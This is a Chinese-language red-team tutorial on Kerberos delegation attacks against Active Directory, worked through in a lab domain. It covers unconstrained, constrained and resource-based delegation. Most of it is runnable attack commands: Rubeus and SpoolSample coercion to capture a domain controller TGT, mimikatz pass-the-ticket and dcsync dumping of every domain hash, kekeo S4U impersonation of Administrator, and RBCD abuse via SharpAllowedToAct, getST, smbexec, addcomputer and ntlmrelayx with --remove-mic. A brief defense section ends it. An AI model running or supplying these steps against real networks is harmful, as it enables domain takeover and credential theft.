一、委派攻击

1.1什么是域委派？

域委派是指将域内用户的权限委派给服务账号，使得服务账号能以用户的权限在域内展开活动。
简言之：当A访问服务B时，服务B拿着A用户的凭证去访问服务C，这个过程称为委派。
域委派是大型网络中经常部署的应用模式，给多跳认证带来了很大的便利，但是与此同时也带来了很大的安全隐患，利用委派，攻击者可获取本地管理员甚至域管理员权限，还可以制作深度隐藏的后门。

1.2委派的分类：

委派攻击分为三种攻击手段
分别是非约束委派攻击、约束委派攻击、基于资源委派攻击
非约束委派攻击:
在域内只有主机账号和服务账号才有委派属性主机账号：活动目录中的computers组内的计算机，也被称为机器账号。
服务账号：域内用户的一种类型，是服务器运行服务时所用的账号，将服务运行起来加入域内，比如：SQLServer,MYSQL等；域用户通过注册SPN也能成为服务账号。

二、非约束委派

2.1 概述

1、在Windows Server2000首次发布Active Directory时，Microsoft就提供了一种简单的机制来支持用户通过Kerberos向Web Server进行身份验证并需要代表该用户更新后端数据库服务器上的记录的方案，这就是最早的非约束性委派。对于非约束性委派（Unconstrained Delegation），服务账号可以获取被委派用户的TGT，并将TGT缓存到LSASS进程中，从而服务账号可使用该TGT，模拟该用户访问任意服务。非约束委派的设置需要SeEnableDelegation 特权，该特权通常仅授予域管理员。
2、配置了非约束性委派属性的机器账号的userAccountControl 属性有个Flag位 WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION，其对应的数是0x81000=528384。
3、配置了非约束性委派属性的服务账号的userAccountControl 属性有个Flag位 NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION，其对应的数是0x80200=524800。

2.2 非约束委派大致流程

简单来说：
user访问serverA，于是向DC发起认证，DC会检查serverA的机器账号的属性，如果是非约束委派的话，会把用户的TGT放在ST票据中并一起发送给serverA 这样serverA在验证ST票据的同时也获取到了用户的TGT，并把TGT储存在自己的lsass进程中以备下次重用，从而serverA就可以使用这个TGT，来模拟这个user访问任何服务。
从攻击角度来说：如果攻击者拿到了一台配置了非约束委派的机器权限，可以诱导管理员来访问该机器，然后可以得到管理员的TGT，从而模拟管理员访问任意服务，相当于拿下了整个域环境。

2.3 环境搭建：

准备4台主机，设置主域和备份域。

配置AD1：10.10.10.140

开启Computer Broweser模式。

查看net view ，看到了列表里面的主机，说明环境配置完成。

查看12serrver2的委派属性，使用默认配置就行。

2.4 漏洞复现：

注册服务用户注册服务账号后具有委派选项

setspn -A https/web web

修改委派熟悉为信任此计算机。

当服务账号或者主机被设置为非约束性委派时，其userAccountControl属性会包含
TRUSTED_FOR_DELEGATION

2.5 powerview 查询配置非约束委派

导入模块 PowerView.ps1

查询非约束主机

Import-Module .\PowerView.ps1 
Get-NetComputer -Unconstrained -Domain redteam.club

查询非约束用户
Get-NetUser -Unconstrained -Domain redteam.club | select name

2.6 adfind查询非约束委派

非约束委派的主机

AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306369)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

非约束委派的用户：

AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)
(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

查询非约束委派的主机

重启环境之后，成功查询到非约束委派的主机。

2.7 案例

域管理使用winrm服务器远程连接域内主机

此时域管的凭证已缓存于目标机器，使用域内机器登录本地管理员，导出相关凭证：

导出域管凭据。

查看缓存票据，发现是空票据。

导入先前凭证：
kerberos::ptt 凭证名称
kerberos::list

导入票据访问域控 ad.redteam.club

三、非约束委派&Spooler

默认情况下Spooler服务为自动启动

确认目标主机开启相关权限

3.1 复现

用Rubeus来监听事件id为4624的事件，可以第一事件截取到域控的TGT，监听来自域控ad1的登录
Rubeus.exe monitor /interval:1 /filteruser:ad1$

SpoolSample.exe AD ad1 12server2

利用打印服务强制让域控机向12server2主机验证身份，这样我们的Rubeus就可以监听到TGS了

监听的tgt如下，将其保存到txt文件。

去掉空格和一些字符。

直接用 powershell 转到为正常的 TGT 即可
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("得到的
base64"))

成功得到tgt票据。

注入票据导出hash

接着进行ptt连接。
后续再Rubeus导入base64的票据直接注入进内存
Rubeus.exe ptt /ticket:base64
用mimikatz也可
privilege::debug
sekurlsa::tickets /export
导入票据后ptt即可

kerberos::ptt XXX.kirbi
lsadump::dcsync /domain:redteam.club /all /csv
mimikatz.exe "lsadump::dcsync /domain:redteam.club /all /csv" "exit">log.txt

3.2 制作黄金票据访问域控

当前的权限是域的本地管理员，不是域控的权限，所以还是要制作黄金票据访问域控
获取域控的sid

sid 不需要后门的位数
制作黄金票据代码。

制作成功后导入票据访问域控

四、约束委派

4.1 约束委派原理

由于非约束委派的不安全性，微软在windows server 2003中引入了约束委派，对Kerberos协议进行了拓展，引入了S4U，其中S4U支持两个子协议：Service for User to Self ( S4U2Self )和 Service for Userto Proxy ( S4U2proxy )，这两个扩展都允许服务代表用户从KDC请求票证。 S4U2self可以代表自身请求针对其自身的可转发的Kerberos服务票据(ST1) ； S4U2proxy可以以用户的名义请求其它服务的ST2 ，约束委派就是限制了S4U2proxy扩展的范围。
S4U2Self （用用户的TGT向KDC请求用户的可转发的ST1，再用这张ST1去发起S4U2proxy请求。）通过此扩展可以拿到一张标识任意用户身份的ST，它的作用其实是协议转换。有时用户会通过其他协议（例如NTLM或什至基于表单的身份验证）对服务进行身份验证，因此他们不会将TGS发送给服务。在这种情况下，服务可以调用S4U2Self来要求身份验证服务为其自身的任意用户生成TGS ，然后可以在调用S4U2Proxy时将其用作依据。例如网站A服务器可以使用它去向KDC请求一张用户B身份的ST1，网站A服务器再用这张ST1去发起S4U2proxy请求。S4U2proxy （拿用户的可转发的ST1请求用于访问服务器的ST2）该拓展作用是使用一张用户A身份的ST1去向KDC请求一张用于访问文件服务器B的ST2，这张ST2的身份还是用户的，这样的话网站A就可以利用用户A的权限去访问文件服务器B上的文件了。
大致流程：
user访问serviceA，向DC发起kerberos认证，域控返回user的TGT和ST1票据，user使用ST1票据对
serviceA进行访问如果配置了serviceA到serviceB的约束委派，则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC。域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问

由于服务用户只能获取某个用户（或主机）的服务的ST1而非TGT ，所以只能模拟用户访问特定的服务，但是如果能拿到约束委派用户（或主机）的密码或者Hash，就可以伪造S4U的请求，伪装成服务用户以任意用户
的权限申请访问指定服务的ST2 。

4.2环境搭建

此处如果没有用户，需要新建个用户，加上spn标识为服务用户
setspn -A cifs/12server3.redteam.club websc

设置服务用户对websec的cifs服务的委派

已知在约束委派的情况下，服务用户只能获取某个用户或者主机的服务ST，只能用模拟用户访问特定的服务，是无法获取用户的TGT的，如果能够获得到开启了约束委派的服务的用户的明文密码或者hash就可以伪造S4U的请求，进而伪造服务用户以任意账户的权限访问服务的ST

4.3 复现：

设置约束用户存在 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 关键字
.

使用命令查询约束用户

AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(msds-
allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

通过kekeo请求服务用户的TGT
tgt::ask /user:websec /domain:redteam.club /password:pass@123 /ticket:test.kirbi
同理此处利用ntlm hash也是可以进行请求的
tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX

利用这个票据通过伪造S4U请求以administrator身份访问websec的ST
tgs::s4u /tgt:TGT_websec@REDTEAM.CLUB_krbtgt~redteam.club@REDTEAM.CLUB.kirbi
/user:Administrator@reteam.club /service:cifs/ad1.redteam.club

这时候kekeo当前路径下会出现administrator的ticket (用于访问websec的CIFS服务),导入这个tiket即可访问websec的cifs服务:
使用kekeo导入票据访问域控
keberos::ptt
TGS_Administrator@redteam.club@REDTEAM.CLUB_cifs~ad1.redteam.club@REDTEAM.CLUB.k
irbi

五、基于资源的约束委派

5.1 基于资源的约束委派原理

基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能，与传统的约束委派相比，它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身，既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。
这里的关键就是谁可以修改属性

5.2 资源委派攻击其他域主机获取system权限

首先查询域普通用户加入域的机子

using System;
using System.Security.Principal;
using System.DirectoryServices;
namespace ConsoleApp9
{
 class Program
 {
   static void Main(string[] args)
   {
     DirectoryEntry ldap_conn = new
DirectoryEntry("LDAP://dc=redteam,dc=club");
     DirectorySearcher search = new DirectorySearcher(ldap_conn);
     String query = "(&(objectClass=computer))";//查找计算机
     search.Filter = query;
     foreach (SearchResult r in search.FindAll())
     {
       String mS_DS_CreatorSID = "";
       String computername = "";
       try
       {
         computername = r.Properties["dNSHostName"][0].ToString();
         mS_DS_CreatorSID = (new
SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
         //Console.WriteLine("{0} {1}\n", computername,
mS_DS_CreatorSID);
       }
       catch
       {
         ;
       }
       //再通过sid找用户名
       String UserQuery = "(&(objectClass=user))";
       DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
       search2.Filter = UserQuery;
       foreach (SearchResult u in search2.FindAll())
       {
         String user_sid = (new
SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();
         if (user_sid == mS_DS_CreatorSID)
         {
           //Console.WriteLine("debug");
           String username = u.Properties["name"][0].ToString();
           Console.WriteLine("[*] [{0}] -> creator [{1}]",
computername, username);
         }
       }
     }
   }
 }
}

查询到加入域主机的域用户

使用SharpAllowedToAct修改委派工具下载 https://github.com/HPVCA/SharpAllowedToAct

SharpAllowedToAct.exe -m hack -p pass@123 -t 12server2 -a 10.10.10.142
redteam.club

获取服务票据：
python3 getST.py -dc-ip 10.10.10.142 redteam/hack\$:pass@123 -spn
cifs/12server2.redteam.club -impersonate administrator

获取域普通主机权限
export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k 12server2.redteam.club

5.3 利用普通域账号提升到域本地管理员

创建机器主机账号
python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -
computer-pass pass@123 "redteam.club/hack:pass@123"

5.4 中继&委派

执行ntlmrelayx.py脚本进行NTLM中继攻击，设置SMB服务器并将认证凭据中继到LDAP协议。其中–remove-mic选项用于清除MIC标志，–escalate-user用于提升指定用户权限。
python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --
delegate-access --escalate-user moonsec\$ -debug
域控有两台域控 10.10.10.142 主控 10.10.10.140是备份域控 10.10.10.139 是中继机子（kali）
python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.139

python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -
computer-pass pass@123 "redteam.club/hack:pass@123"

监听提升修改委派
export KRB5CCNAME=administrator.ccache
vi /etc/resolv.conf

导出域控哈希

python3 smbexec.py -no-pass -k ad2.redteam.club

六、防御：

高权限账号设置禁止委派属性
微软推出了protected users组，组内用户不允许被委派，适用于Windows Server 2016，Windows Server 2012 R2、 Windows Server 2012
kerberos预认证不使用DES或RC4等加密算法（尽量使用AES256）同样能够预防Kerberoast攻击